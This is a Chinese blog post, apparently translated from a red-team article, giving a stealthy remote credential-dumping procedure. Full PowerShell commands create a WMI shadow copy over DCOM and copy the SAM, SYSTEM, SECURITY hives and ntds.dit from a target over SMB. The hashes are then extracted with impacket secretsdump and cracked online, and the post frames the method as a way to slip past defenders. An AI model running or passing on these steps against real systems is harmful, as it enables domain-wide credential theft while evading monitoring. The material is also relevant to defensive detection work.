几十年没更新了QAQ
翻译下bitsadmin的文章,我只知道他开发的工具ztmd.
帮他的github打个广告:
https://github.com/bitsadmin/wesng/ 提权辅助脚本
https://github.com/bitsadmin/fakelogonscreen/ 伪造系统登录页面
最近,我们开展了一次红队行动,我们想从远程主机中转储凭据。我们拿到了目标机的管理员权限,希望拿到更多的凭据。 我们认为蓝队正在密切地观察环境,所以这需要以最隐秘的方式进行,并且最好仅涉及到本机Windows工具。 最后我们想出以下方法来获取远程系统的信息:
使用WMI和SMB从%SystemRoot%\System32\Config
里面拿到这三个文件
也可以使用此方法从域控中获取ntds.dit文件,就能获得整个组织的凭据。
在本文中,我们将先使用WMI在远程系统上创建一个卷影副本,然后使用SMB从卷影副本下载凭据文件。 假设以下端口
其中之一是可访问的,并且我们在目标上有管理访问权限。
那么我们将使用使用端口135 / TCP进行通信的DCOM。 此外,当前的PowerShell实例在受害主机(DC01.mydomain.local)
上以管理访问权限的用户身份运行,以用于获取本地凭据。
算了,不介绍了.
如果你是在域外的机器上进行攻击,或者你想使用其他的凭据去访问目标时,建议使用runas.exe
在运行远程主机上运行pwsh,这样一来,powershell实例需要认证时,都可以用runas实现.
runas.exe /netonly /user:MyDomain\MyUser powershell.exe
启动PowerShell之后,我们首先通过DCOM与远程主机启动一个新的CIM会话,并将其存储在$s
变量中。 如果要改用WinRM,请省略New-CimSession cmdlet
的-SessionOption
参数。
PS C:\> $h = 'DC01.mydomain.local'
PS C:\> $so = New-CimSessionOption -Protocol Dcom
PS C:\> $s = New-CimSession -ComputerName $h -SessionOption $so
建立会话后,我们将调用Win32_ShadowCopy
--WMI类 的Create函数,该函数提供Volume参数来创建Windows安装驱动器的卷影副本,其中包含我们要获取的文件。 执行后,Return Value
为0表示卷影副本创建成功。 基于ShadowID
,我们可以获取卷影副本的所有详细信息。 创建新卷影副本的另一种方法是检查是否已经有(最新)卷影副本,在这种情况下,您可以简单地使用该卷影副本并继续进行下一步。 这可以通过不使用-Filter
参数而执行下面的Get-CimInstance cmdlet
来完成。
PS C:\> $r = Invoke-CimMethod -ClassName Win32_ShadowCopy -MethodName Create -Arguments @{Volume='C:\'} -CimSession $s PS C:\> $r | fl ReturnValue : 0 ShadowID : {B15008D8-0C63-468C-AED7-ED4DB0CFD082} PSComputerName : DC01.mydomain.local PS C:\> $c = Get-CimInstance -ClassName Win32_ShadowCopy -CimSession $s -Filter "ID=`"$($r.ShadowID)`"" PS C:\> $c Caption : Description : InstallDate : 4/19/2020 9:34:01 PM Name : Status : ClientAccessible : True Count : 1 DeviceObject : \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy6 Differential : True ExposedLocally : False ExposedName : ExposedPath : ExposedRemotely : False HardwareAssisted : False ID : {B15008D8-0C63-468C-AED7-ED4DB0CFD082} Imported : False NoAutoRelease : True NotSurfaced : False NoWriters : True OriginatingMachine : DC01.mydomain.local Persistent : True Plex : False ProviderID : {B5946137-7B9F-4925-AF80-51ABD60B20D5} ServiceMachine : DC01.mydomain.local SetID : {083BBDBA-4517-45A2-A62E-3F52020BC47C} State : 12 Transportable : False VolumeName : \\?\Volume{482bdb36-8a72-40a4-9b12-912d2783ef39}\ PSComputerName : DC01.mydomain.local
我们希望从SMB共享
中复制文件,不仅是从C $
共享中复制文件,而且要从我们创建的特定卷影副本中复制文件。 在Windows资源管理器中,卷影副本也称为以前的版本
,可以通过打开某个文件夹的属性,然后导航到“以前的版本”
选项卡来列出它们。 这些早期版本也可以从命令行访问,命令行是以@
符号开头的某种格式的日期。 基于$ c
变量中存储的卷影副本,我们将在以下PowerShell命令行中复制文件的路径。
PS C:\> $p = '\\{0}\C$\{1}\Windows\System32\config' -f $h,$c.InstallDate.ToUniversalTime().ToString("'@GMT-'yyyy.MM.dd-HH.mm.ss")
PS C:\> $p
\\DC01.mydomain.local\C$\@GMT-2020.04.19-19.34.01\Windows\System32\config
编译路径后,我们将使用复制命令将目标文件复制到本地磁盘(在本例中为C:\tmp)。 由于尝试从卷影副本路径复制文件时创建卷影副本可能会花费一些时间,因此将导致错误提示,即该路径不存在。 在这种情况下,请稍等,然后重试。 如果要从域控中获取密码哈希,也可以使用此方法从(默认情况下)%SystemRoot%\ NTDS
文件夹中远程获取ntds.dit文件。
PS C:\> copy $p\SYSTEM C:\tmp
PS C:\> copy $p\SECURITY C:\tmp
PS C:\> copy $p\SAM C:\tmp
然后关闭连接
PS C:\> $c | Remove-CimInstance
PS C:\> $s | Remove-CimSession
使用impacket即可
secretsdump.py -system SYSTEM -security SECURITY -sam SAM LOCAL
secretsdump.py -system SYSTEM -ntds ntds.dit LOCAL
在线破解hash即可
由于蓝方会越来越注重监视系统网络以及机器本身上的活动,所以红队更多地倾向于使用Windows本机管理工具来进行攻击。 该攻击表明,使用WMI和SMB,您可以在PowerShell中完美地做到这一点.